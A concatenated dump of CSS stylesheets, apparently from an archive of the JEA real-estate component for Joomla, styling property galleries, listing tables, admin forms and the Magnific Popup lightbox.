#jea-gallery {
	margin-bottom: 10px;
}

#jea-gallery-scroll {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
	align-content: space-between;
}

#jea-gallery-scroll a {
	display: block;
	max-width: 32%;
	margin: auto auto 5px auto;
}

#jea-gallery-preview a {
	display: inline-block;
}

#jea-gallery-preview img {
	max-width: 100%;
	margin-bottom: 5px;
}

#jea-preview-title {
	font-weight: bold;
}

#jea-preview-description {
	font-style: italic;
}

span.rate_frequency {
	font-size: 0.9em;
	font-weight: normal;
}

table.jea-data {
	width: 100%;
}

table.jea-data th, table.jea-data td {
	padding: 0.4em;
}

table.jea-data th {
	text-align: left;
	font-weight: normal;
}

table.jea-data td {
	font-weight: bold;
}

.property-description {
	margin: 2em 0;
}

#advantages_list {
	margin-bottom: 10px;
}

#jea_property_map {
	width: 100%;
	height: 300px;
	margin-bottom: 1.5em;
}

.google-map-mask {
	background: #000 url(../images/spinner.gif) center center no-repeat;
}

form#jea-contact-form legend {
	font-weight: bold;
}

form#jea-contact-form fieldset dt {
	padding: 3px 0;
	margin: 0;
}

form#jea-contact-form fieldset dd {
	padding: 3px 0;
	margin: 0 0 0.3em 0;
}

form#jea-contact-form input[type="text"], form#jea-contact-form
textarea
	{
	width: 100%;
	box-sizing: border-box;
	height: auto;
}

@media ( min-width : 1200px) {

	#jea-gallery.vertical {
		display: flex;
		justify-content: space-between;
	}

	#jea-gallery-preview.vertical {
		flex-basis: 80%;
		margin-right: 5px;
	}

	#jea-gallery-scroll.vertical {
		flex-basis: 20%;
		overflow-y: auto;
	}

	#jea-gallery-scroll.vertical a {
		max-width: 100%;
	}

	#jea-gallery-scroll.horizontal {
		display: block;
		white-space: nowrap;
		overflow-x: auto;
	}

	#jea-gallery-scroll.horizontal a {
		display: inline-block;
	}

	#jea-gallery-scroll.horizontal img {
		max-height: 80px;
		max-width: auto;
	}

	table.jea-data {
		width: auto;
	}

	.jea-col-right {
		float: right;
		margin-left: 2em;
		padding: 2em;
		border-left: 1px dashed #b2b4bf;
	}
}

/*** SqueezeBox layout ***/

#jea-squeezeBox-navblock {
	position: relative;
	bottom: -15px;
	text-align: center;
}

#jea-squeezeBox-infos {
	position: absolute;
	bottom: 15px;
	right: 15px;
	text-align: center;
	background: #000;
	padding: 10px;
	opacity: 0.8;
}

#jea-squeezeBox-title {
	font-weight: bold;
	color: #fff;
	font-size: 13px;
}

#jea-squeezeBox-description {
	color: #ddd;
	font-size: 10px;
}

a#jea-squeezeBox-prev, a#jea-squeezeBox-next {
	color: #fff;
}

#jea-squeezeBox-prev {
	margin-right: 10px;
}

#jea-squeezeBox-next {
	margin-left: 10px;
}

a#jea-squeezeBox-prev.inactive, a#jea-squeezeBox-next.inactive {
	color: #ccc;
	text-decoration: none;
	background: transparent;
	cursor: default;
}

/*format tabular list */

table.jea_listing, table.jea_listing thead, table.jea_listing th,
table.jea_listing tbody,
	table.jea_listing td {
	border: 1px solid #ccc;
}

table.jea_listing {
	border-collapse: collapse;
}

table.jea_listing th, table.jea_listing td {
	padding: 5px;
	text-align: left;
}

table.jea_listing tbody th {
	font-weight: bold;
}

table.jea_listing thead {
	font-weight: bold;
	white-space: nowrap;
	text-align: left;
}

table.jea_listing tbody tr.row1 {
	background: #F9F9F9;
}

table.jea_listing tbody tr:hover {
	background: #FFD;
}

table.jea_listing .right {
	text-align: right;
}

table.jea_listing .center {
	text-align: center;
}

table.jea_listing .nowrap {
	white-space: nowrap;
}

/*** Property form layout ***/

ul#amenities {
	list-style: none !important;
	padding: 0 !important;
	margin: 0 !important;
	overflow: hidden;
}

ul#amenities li {
	width: 200px;
	margin: 0 15px 10px 0 !important;
	padding: 0 !important;
	float: left;
}

ul#amenities li label {
	font-size: 12px;
	line-height: 13px;
}

ul#amenities li input {
	float: none;
	margin: 0 8px 0 0;
}

ul.gallery {
	margin: 10px 0 0 0 !important;
	list-style: none !important;
	padding: 0 !important;
}

ul.gallery li {
	padding: 10px 0 10px 10px !important;
	margin: 0 !important;
	border-top: 1px solid #ccc !important;
}

ul.gallery li:FIRST-CHILD {
	background: #FFFFCC
}

ul.gallery a.imgLink {
	float: left;
	margin: 0 10px 5px 0;
}

ul.gallery a.imgLink img {
	float: none;
	margin: 0;
}

ul.gallery .imgTools a {
	cursor: pointer;
	display: inline-block;
	padding: 0 5px;
}

ul.gallery .imgTools a.delete-img {
	margin-left: 20px;
}

ul.gallery label {
	display: inline-block;
	vertical-align: top;
	width: 10em;
}

#found_properties {
	white-space: nowrap;
}

.slider_background {
	background: url("../images/slider_bg.png") center center
no-repeat;
	height: 20px;
	width: 250px;
}

.knob {
	background: url("../images/knob.png") center center no-repeat;
	height: 20px;
	width: 16px;
	cursor: move;
}

.jea_slider_block {
	float: left;
	width: 250px;
	margin: 10px 10px 10px 0;
}

.jea_slider_block h2 {
	font-size: 12px;
	font-weight: bold;
	margin: 0 !important;
	padding: 0 !important;
	text-align: center;
}

.slider_infos {
	text-align: center !important;
}

.slider_min_value {
	margin-right: 10px;
}

.slider_max_value {
	margin-left: 10px;
}

/* property form */
#adminForm label {
	display: inline-block !important;
	vertical-align: top;
	width: 13em;
}

#adminForm input {
	width: auto !important;
}
magnific-popup.css000064400000014606151172264330010207 0ustar00/* Magnific
Popup CSS */
.mfp-bg {
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1042;
	overflow: hidden;
	position: fixed;
	background: #0b0b0b;
	opacity: 0.8;
}

.mfp-wrap {
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1043;
	position: fixed;
	outline: none !important;
	-webkit-backface-visibility: hidden;
}

.mfp-container {
	text-align: center;
	position: absolute;
	width: 100%;
	height: 100%;
	left: 0;
	top: 0;
	padding: 0 8px;
	box-sizing: border-box;
}

.mfp-container:before {
	content: '';
	display: inline-block;
	height: 100%;
	vertical-align: middle;
}

.mfp-align-top .mfp-container:before {
	display: none;
}

.mfp-content {
	position: relative;
	display: inline-block;
	vertical-align: middle;
	margin: 0 auto;
	text-align: left;
	z-index: 1045;
}

.mfp-inline-holder .mfp-content, .mfp-ajax-holder .mfp-content {
	width: 100%;
	cursor: auto;
}

.mfp-ajax-cur {
	cursor: progress;
}

.mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close {
	cursor: -moz-zoom-out;
	cursor: -webkit-zoom-out;
	cursor: zoom-out;
}

.mfp-zoom {
	cursor: pointer;
	cursor: -webkit-zoom-in;
	cursor: -moz-zoom-in;
	cursor: zoom-in;
}

.mfp-auto-cursor .mfp-content {
	cursor: auto;
}

.mfp-close, .mfp-arrow, .mfp-preloader, .mfp-counter {
	-webkit-user-select: none;
	-moz-user-select: none;
	user-select: none;
}

.mfp-loading.mfp-figure {
	display: none;
}

.mfp-hide {
	display: none !important;
}

.mfp-preloader {
	color: #CCC;
	position: absolute;
	top: 50%;
	width: auto;
	text-align: center;
	margin-top: -0.8em;
	left: 8px;
	right: 8px;
	z-index: 1044;
}

.mfp-preloader a {
	color: #CCC;
}

.mfp-preloader a:hover {
	color: #FFF;
}

.mfp-s-ready .mfp-preloader {
	display: none;
}

.mfp-s-error .mfp-content {
	display: none;
}

button.mfp-close, button.mfp-arrow {
	overflow: visible;
	cursor: pointer;
	background: transparent;
	border: 0;
	-webkit-appearance: none;
	display: block;
	outline: none;
	padding: 0;
	z-index: 1046;
	box-shadow: none;
	touch-action: manipulation;
}

button::-moz-focus-inner {
	padding: 0;
	border: 0;
}

.mfp-close {
	width: 44px;
	height: 44px;
	line-height: 44px;
	position: absolute;
	right: 0;
	top: 0;
	text-decoration: none;
	text-align: center;
	opacity: 0.65;
	padding: 0 0 18px 10px;
	color: #FFF;
	font-style: normal;
	font-size: 28px;
	font-family: Arial, Baskerville, monospace;
}

.mfp-close:hover, .mfp-close:focus {
	opacity: 1;
}

.mfp-close:active {
	top: 1px;
}

.mfp-close-btn-in .mfp-close {
	color: #333;
}

.mfp-image-holder .mfp-close, .mfp-iframe-holder .mfp-close {
	color: #FFF;
	right: -6px;
	text-align: right;
	padding-right: 6px;
	width: 100%;
}

.mfp-counter {
	position: absolute;
	top: 0;
	right: 0;
	color: #CCC;
	font-size: 12px;
	line-height: 18px;
	white-space: nowrap;
}

.mfp-arrow {
	position: absolute;
	opacity: 0.65;
	margin: 0;
	top: 50%;
	margin-top: -55px;
	padding: 0;
	width: 90px;
	height: 110px;
	-webkit-tap-highlight-color: transparent;
}

.mfp-arrow:active {
	margin-top: -54px;
}

.mfp-arrow:hover, .mfp-arrow:focus {
	opacity: 1;
}

.mfp-arrow:before, .mfp-arrow:after {
	content: '';
	display: block;
	width: 0;
	height: 0;
	position: absolute;
	left: 0;
	top: 0;
	margin-top: 35px;
	margin-left: 35px;
	border: medium inset transparent;
}

.mfp-arrow:after {
	border-top-width: 13px;
	border-bottom-width: 13px;
	top: 8px;
}

.mfp-arrow:before {
	border-top-width: 21px;
	border-bottom-width: 21px;
	opacity: 0.7;
}

.mfp-arrow-left {
	left: 0;
}

.mfp-arrow-left:after {
	border-right: 17px solid #FFF;
	margin-left: 31px;
}

.mfp-arrow-left:before {
	margin-left: 25px;
	border-right: 27px solid #3F3F3F;
}

.mfp-arrow-right {
	right: 0;
}

.mfp-arrow-right:after {
	border-left: 17px solid #FFF;
	margin-left: 39px;
}

.mfp-arrow-right:before {
	border-left: 27px solid #3F3F3F;
}

.mfp-iframe-holder {
	padding-top: 40px;
	padding-bottom: 40px;
}

.mfp-iframe-holder .mfp-content {
	line-height: 0;
	width: 100%;
	max-width: 900px;
}

.mfp-iframe-holder .mfp-close {
	top: -40px;
}

.mfp-iframe-scaler {
	width: 100%;
	height: 0;
	overflow: hidden;
	padding-top: 56.25%;
}

.mfp-iframe-scaler iframe {
	position: absolute;
	display: block;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
	background: #000;
}

/* Main image in popup */
img.mfp-img {
	width: auto;
	max-width: 100%;
	height: auto;
	display: block;
	line-height: 0;
	box-sizing: border-box;
	padding: 40px 0 40px;
	margin: 0 auto;
}

/* The shadow behind the image */
.mfp-figure {
	line-height: 0;
}

.mfp-figure:after {
	content: '';
	position: absolute;
	left: 0;
	top: 40px;
	bottom: 40px;
	display: block;
	right: 0;
	width: auto;
	height: auto;
	z-index: -1;
	box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
	background: #444;
}

.mfp-figure small {
	color: #BDBDBD;
	display: block;
	font-size: 12px;
	line-height: 14px;
}

.mfp-figure figure {
	margin: 0;
}

.mfp-bottom-bar {
	margin-top: -36px;
	position: absolute;
	top: 100%;
	left: 0;
	width: 100%;
	cursor: auto;
}

.mfp-title {
	text-align: left;
	line-height: 18px;
	color: #F3F3F3;
	word-wrap: break-word;
	padding-right: 36px;
}

.mfp-image-holder .mfp-content {
	max-width: 100%;
}

.mfp-gallery .mfp-image-holder .mfp-figure {
	cursor: pointer;
}

@media screen and (max-width: 800px) and (orientation: landscape) , screen
	and (max-height: 300px) {
	/**
       * Remove all paddings around the image on small screen
       */
	.mfp-img-mobile .mfp-image-holder {
		padding-left: 0;
		padding-right: 0;
	}
	.mfp-img-mobile img.mfp-img {
		padding: 0;
	}
	.mfp-img-mobile .mfp-figure:after {
		top: 0;
		bottom: 0;
	}
	.mfp-img-mobile .mfp-figure small {
		display: inline;
		margin-left: 5px;
	}
	.mfp-img-mobile .mfp-bottom-bar {
		background: rgba(0, 0, 0, 0.6);
		bottom: 0;
		margin: 0;
		top: auto;
		padding: 3px 5px;
		position: fixed;
		box-sizing: border-box;
	}
	.mfp-img-mobile .mfp-bottom-bar:empty {
		padding: 0;
	}
	.mfp-img-mobile .mfp-counter {
		right: 5px;
		top: 3px;
	}
	.mfp-img-mobile .mfp-close {
		top: 0;
		right: 0;
		width: 35px;
		height: 35px;
		line-height: 35px;
		background: rgba(0, 0, 0, 0.6);
		position: fixed;
		text-align: center;
		padding: 0;
	}
}

@media all and (max-width: 900px) {
	.mfp-arrow {
		-webkit-transform: scale(0.75);
		transform: scale(0.75);
	}
	.mfp-arrow-left {
		-webkit-transform-origin: 0;
		transform-origin: 0;
	}
	.mfp-arrow-right {
		-webkit-transform-origin: 100%;
		transform-origin: 100%;
	}
	.mfp-container {
		padding-left: 6px;
		padding-right: 6px;
	}
}jea.admin.css000064400000010225151172264330007110 0ustar00
.icon-jea {
	background-image:url(../images/header/icon-36-jea.png);
	height: 36px !important;
	width: 36px !important;
	line-height: 36px !important;
	vertical-align: middle;
}

.numberbox{
	text-align:right;
	padding-right:2px;
}

/* Used to format price / surface fields */
span.input-suffix {
	display: inline-block;
	margin-left: 5px;
}

span.input-prefix {
	display: inline-block;
	margin-right: 5px;
}

ul.gallery {
	margin-top: 10px;
}

ul.gallery,
ul.gallery li {
	list-style: none outside none;
	margin: 0;
	padding: 10px;
}

ul.gallery li {
	padding: 10px 0 10px 10px;
	border-top: 1px solid #ccc;
}

ul.gallery li:FIRST-CHILD {
	background: #FFFFCC
}

ul.gallery a.imgLink {
	float: left;
	margin: 0 10px 5px 0;
}

ul.gallery a.imgLink img {
	float: none;
	margin: 0;
}

ul.gallery .imgTools a {
	cursor: pointer;
	display: inline-block;
	padding: 0 5px;
}

ul.gallery .imgTools a.delete-img {
	margin-left: 20px;
}

ul.gallery .control-group {
	margin-bottom: 3px !important;
}

ul.gallery .control-group input {
	font-size: 12px !important;
	line-height: 14px !important;
}

#ajaxupdating {
	padding: 5px;
	border-radius: 5px;
	border: 1px solid #DE7A7B;
}

fieldset.adminform label.amenity {
	display:inline-block;
	width:200px;
	margin-right:15px;
	padding: 0;
	clear: none;
	float:left;
	font-size: 12px;
	line-height: 13px;
}

fieldset.adminform label.amenity input {
	float:none;
	margin: 0 10px 0 0;
}

/* property form - amenities */
ul#amenities {
	margin: 0 -17px;
	padding: 5px 5px 0 5px;
	overflow : hidden; /* clearfix */
}
ul#amenities li {
	margin: 0 0 5px 5px;
	border-radius: 5px;
	padding: 2px 5px;
	color: #ffffff;
	background-color: #990000;
	display: inline-block;
}
ul#amenities li label, 
ul#amenities li input {
	float: none; 
}
ul#amenities li.active {
	background-color: #009900;
}
ul#amenities li.active label{
	background: url(../images/checked.png) no-repeat scroll 100% 50%
transparent;
}
ul#amenities li label{
	background: url(../images/unchecked.png) no-repeat scroll 100% 50%
transparent;
	min-width: 75px;
	padding: 0 20px 0 0;
}


.admin .pane-sliders .panel {
	border: 1px solid #CCCCCC;
	margin-bottom: 3px;
}

.pane-sliders .panel h3 {
	background: none repeat scroll 0 0 #FAFAFA;
}

.pane-sliders .title {
	cursor: pointer;
	margin: 0;
	padding: 2px 2px 2px 5px;
}

.pane-toggler-down {
	border-bottom: 1px solid #CCCCCC;
}

/* Tools view */

.cpanel .span12 {
	display: table-cell !important;
	margin-bottom: 10px;
}

.cpanel .span12 a {
	vertical-align: middle;
}

/* Console */

.console {
	background: #000;
	color: #fff;
	font-size: 11px;
	font-family: monospace;
	padding: 5px;
	min-height: 250px;
	margin: 10px 0;
}

.console p {
	margin: 0 0 5px 0;
	border: none !important;
	background: none !important;
	color: #fff !important;
	font-size: 12px !important;
	font-family: monospace !important;
	padding: 0 !important;
}

.console p.error {
	color: red !important;
}

.console p.warning {
	color: orange !important;
}

.console a {
	color: #a2cff6;
}

/* logs */
pre#logs {
	font-size: 11px;
	font-family: "Courier New", Courier, monospace;
	background: #fff;
	padding: 1em;
	border: 1px solid #ccc;
	margin: 1em;
	min-height: 200px;
	max-height: 300px;
	overflow: auto;
}

/* Spinner */
@-ms-keyframes spin {
	from { -ms-transform: rotate(0deg); }
	to { -ms-transform: rotate(360deg); }
}

@-moz-keyframes spin {
	from { -moz-transform: rotate(0deg); }
	to { -moz-transform: rotate(360deg); }
}

@-webkit-keyframes spin {
	from { -webkit-transform: rotate(0deg); }
	to { -webkit-transform: rotate(360deg); }
}

@keyframes spin {
	from { transform:rotate(0deg); }
	to { transform:rotate(360deg); }
}

.jea-icon-spin {
	-moz-animation: spin 2s infinite linear;
	-o-animation: spin 2s infinite linear;
	-webkit-animation: spin 2s infinite linear;
	animation: spin 2s infinite linear;
	display: inline-block;
}

.spinner {
	display: inline-block;
	opacity: 0;
	max-width: 0;
	
	-webkit-transition: opacity 0.25s, max-width 0.45s; 
	-moz-transition: opacity 0.25s, max-width 0.45s;
	-o-transition: opacity 0.25s, max-width 0.45s;
	transition: opacity 0.25s, max-width 0.45s;
}

.has-spinner.active {
	cursor:progress;
}

.has-spinner.active .spinner {
	opacity: 1;
	max-width: 50px;
}